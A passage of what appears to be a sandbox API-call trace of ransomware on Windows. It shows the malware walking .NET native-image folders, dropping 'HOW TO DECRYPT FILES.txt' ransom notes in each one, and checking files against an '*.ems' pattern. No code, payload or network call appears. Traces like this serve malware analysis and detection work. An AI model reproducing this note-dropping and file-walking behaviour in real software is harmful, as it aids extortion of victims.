"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\how to decrypt files.txt")) returned 0xffffffff [0121.990] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0121.994] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0121.994] CloseHandle (hObject=0x90) returned 1 [0121.994] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\", lpString2="System.Web.Abstractions.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\System.Web.Abstractions.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\System.Web.Abstractions.ni.dll" [0121.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\System.Web.Abstractions.ni.dll", pszSpec="*.ems") returned 0 [0121.995] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac08da10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xac08da10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xac08da10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Abstractions.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0121.995] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.995] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Abstractions.ni.dll.aux") returned -1 [0121.995] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Abstractions.ni.dll.aux") returned -1 [0121.995] lstrcmpiA (lpString1="", lpString2="System.Web.Abstractions.ni.dll.aux") returned -1 [0121.995] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\System.Web.Abstractions.ni.dll") returned="System.Web.Abstractions.ni.dll" [0121.995] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\" [0121.995] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\") returned="" [0121.995] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\HOW TO DECRYPT FILES.txt" [0121.995] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\how to decrypt files.txt")) returned 0x20 [0121.996] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\", lpString2="System.Web.Abstractions.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\System.Web.Abstractions.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\System.Web.Abstractions.ni.dll.aux" [0121.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\System.Web.Abstractions.ni.dll.aux", pszSpec="*.ems") returned 0 [0121.996] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac08da10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xac08da10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xac08da10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Abstractions.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0121.996] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0121.996] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac08da10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xac08da10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xac08da10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="520a036265c8b10ea599074a25d6aff6", cAlternateFileName="520A03~1")) returned 0 [0121.996] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0121.996] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae4da990, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae4da990, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae4da990, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.2486c0f5#", cAlternateFileName="SYSTEM~1.248")) returned 1 [0121.997] lstrcmpA (lpString1=".", lpString2="System.Web.2486c0f5#") returned -1 [0121.997] lstrcmpA (lpString1="..", lpString2="System.Web.2486c0f5#") returned -1 [0121.997] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0121.997] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Web.2486c0f5#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#" [0121.997] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae4da990, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae4da990, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae4da990, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0121.997] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.997] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae4da990, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae4da990, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae4da990, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.997] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.997] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.997] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae4da990, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae4da990, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae4da990, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f1837930831118bb63fa67c0f8a4e041", cAlternateFileName="F18379~1")) returned 1 [0121.998] lstrcmpA (lpString1=".", lpString2="f1837930831118bb63fa67c0f8a4e041") returned -1 [0121.998] lstrcmpA (lpString1="..", lpString2="f1837930831118bb63fa67c0f8a4e041") returned -1 [0121.998] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\*.*") returned="*.*" [0121.998] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\", lpString2="f1837930831118bb63fa67c0f8a4e041" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041" [0121.998] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae4da990, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae4da990, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae4da990, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0122.503] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0122.503] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae4da990, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae4da990, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae4da990, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.503] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0122.503] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0122.503] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4b4830, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae4b4830, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae4da990, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xeb200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.DynamicData.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0122.503] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0122.511] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.DynamicData.ni.dll") returned -1 [0122.511] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.DynamicData.ni.dll") returned -1 [0122.511] lstrcmpiA (lpString1="", lpString2="System.Web.DynamicData.ni.dll") returned -1 [0122.511] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\*.*") returned="*.*" [0122.511] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\" [0122.511] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\") returned="" [0122.511] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\HOW TO DECRYPT FILES.txt" [0122.511] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\how to decrypt files.txt")) returned 0xffffffff [0122.511] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0122.514] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0122.514] CloseHandle (hObject=0x90) returned 1 [0122.514] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\", lpString2="System.Web.DynamicData.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\System.Web.DynamicData.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\System.Web.DynamicData.ni.dll" [0122.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\System.Web.DynamicData.ni.dll", pszSpec="*.ems") returned 0 [0122.514] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4da990, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae4da990, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae4da990, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x82c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0122.514] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0122.514] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.DynamicData.ni.dll.aux") returned -1 [0122.514] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.DynamicData.ni.dll.aux") returned -1 [0122.514] lstrcmpiA (lpString1="", lpString2="System.Web.DynamicData.ni.dll.aux") returned -1 [0122.514] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\System.Web.DynamicData.ni.dll") returned="System.Web.DynamicData.ni.dll" [0122.515] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\" [0122.515] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\") returned="" [0122.515] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\HOW TO DECRYPT FILES.txt" [0122.515] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\how to decrypt files.txt")) returned 0x20 [0122.515] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\", lpString2="System.Web.DynamicData.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\System.Web.DynamicData.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\System.Web.DynamicData.ni.dll.aux" [0122.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.2486c0f5#\\f1837930831118bb63fa67c0f8a4e041\\System.Web.DynamicData.ni.dll.aux", pszSpec="*.ems") returned 0 [0122.515] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4da990, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae4da990, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae4da990, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x82c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0122.515] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0122.515] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae4da990, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae4da990, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae4da990, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f1837930831118bb63fa67c0f8a4e041", cAlternateFileName="F18379~1")) returned 0 [0122.515] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0122.515] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa674a110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa674a110, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa674a110, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.28b9ef5a#", cAlternateFileName="SYSTEM~1.28B")) returned 1 [0122.515] lstrcmpA (lpString1=".", lpString2="System.Web.28b9ef5a#") returned -1 [0122.515] lstrcmpA (lpString1="..", lpString2="System.Web.28b9ef5a#") returned -1 [0122.515] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0122.515] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Web.28b9ef5a#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#" [0122.516] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa674a110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa674a110, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa674a110, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0122.519] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0122.519] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa674a110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa674a110, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa674a110, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.519] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0122.519] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0122.519] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa674a110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6770270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6770270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4299b96732f17d4e5d50b2ef75728790", cAlternateFileName="4299B9~1")) returned 1 [0122.519] lstrcmpA (lpString1=".", lpString2="4299b96732f17d4e5d50b2ef75728790") returned -1 [0122.519] lstrcmpA (lpString1="..", lpString2="4299b96732f17d4e5d50b2ef75728790") returned -1 [0122.519] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\*.*") returned="*.*" [0122.519] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\", lpString2="4299b96732f17d4e5d50b2ef75728790" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790" [0122.519] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa674a110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6770270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6770270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0122.627] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0122.627] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa674a110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6770270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6770270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.627] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0122.627] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0122.627] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6723fb0, 